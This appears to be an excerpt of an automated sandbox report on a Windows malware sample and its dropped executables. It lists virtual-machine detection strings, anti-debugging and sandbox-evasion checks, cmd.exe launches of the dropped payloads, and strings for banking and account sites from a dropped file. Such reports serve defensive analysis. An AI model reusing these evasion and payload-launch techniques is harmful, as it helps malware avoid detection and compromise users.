Source: file.exe, 00000000.00000002.1382358671.00000000015F9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1382358671.000000000158E000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000014.00000002.3666227165.0000000000B61000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000014.00000002.3666227165.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp, dca3d29d0f.exe, 00000017.00000002.1572018798.0000000001999000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Standard without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: JKKEHJDH.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: JKKEHJDH.0.dr	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 7Windows 2012 Essential Server Solutions without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Enterprise without Hyper-V (full)
Source: Amcache.hve.15.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (full)
Source: JKKEHJDH.0.dr	Binary or memory string: discord.comVMware20,11696492231f
Source: dca3d29d0f.exe, 00000017.00000002.1572018798.000000000192E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware+
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (full)
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: %Windows 2016 Microsoft Hyper-V Server
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (core)
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (core)
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 7Windows 2016 Essential Server Solutions without Hyper-V
Source: JKKEHJDH.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: +Windows 8.1 Server Standard without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Standard without Hyper-V
Source: JKKEHJDH.0.dr	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (core)
Source: Amcache.hve.15.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.15.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.15.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.15.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: dca3d29d0f.exe, 00000017.00000002.1572018798.000000000192E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: JKKEHJDH.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Enterprise without Hyper-V (core)
Source: Amcache.hve.15.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: JKKEHJDH.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: Amcache.hve.15.dr	Binary or memory string: VMware VMCI Bus Device
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Datacenter without Hyper-V (core)
Source: JKKEHJDH.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (core)
Source: JKKEHJDH.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Enterprise without Hyper-V (core)
Source: Amcache.hve.15.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Datacenter without Hyper-V (full)
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: :Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 11 Essential Server Solutions without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Standard without Hyper-V (core)
Source: Amcache.hve.15.dr	Binary or memory string: vmci.syshbin
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Standard without Hyper-V (core)
Source: Amcache.hve.15.dr	Binary or memory string: VMware, Inc.
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 10 Essential Server Solutions without Hyper-V
Source: Amcache.hve.15.dr	Binary or memory string: VMware20,1hbin@
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: xVBoxService.exe
Source: Amcache.hve.15.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (core)
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (full)
Source: Amcache.hve.15.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Enterprise without Hyper-V (core)
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: *Windows 11 Server Standard without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ,Windows 2016 Server Standard without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Standard without Hyper-V (core)
Source: Amcache.hve.15.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: JKKEHJDH.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Datacenter without Hyper-V (full)
Source: dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: VBoxService.exe
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Standard without Hyper-V
Source: JKKEHJDH.0.dr	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: JKKEHJDH.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: Amcache.hve.15.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: *Windows 10 Server Standard without Hyper-V
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 1Windows 11 Server Standard without Hyper-V (core)
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 1Windows 10 Server Standard without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (full)
Source: dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: VMWare
Source: Amcache.hve.15.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (core)
Source: JKKEHJDH.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: file.exe, file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8.1 Server Standard without Hyper-V (core)
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (full)
Source: dca3d29d0f.exe, 00000017.00000002.1572018798.000000000196D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (core)
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, dca3d29d0f.exe, 00000017.00000002.1570820733.000000000082C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: #Windows 11 Microsoft Hyper-V Server

Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 20_2_04FC01F2 Start: 04FC0346 End: 04FC0273		20_2_04FC01F2
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 20_2_04FC01A5 Start: 04FC0346 End: 04FC01AD		20_2_04FC01A5

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: SIWVID

Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe

Code function: 17_2_05260AD3 rdtsc

17_2_05260AD3

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CE05FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6CE05FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6CDA3480

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 20_2_00EE643B mov eax, dword ptr fs:[00000030h]		20_2_00EE643B
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 20_2_00EEA1A2 mov eax, dword ptr fs:[00000030h]		20_2_00EEA1A2

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDDB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6CDDB66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDDB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6CDDB1F7

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\IJEGDBGDBF.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe "C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe "C:\Users\user~1\AppData\Local\Temp\1000006001\dca3d29d0f.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CDDB341 cpuid

0_2_6CDDB341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\segoeuisl.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CDA35A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6CDA35A0

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Code function: 20_2_00EB6590 LookupAccountNameA,

20_2_00EB6590

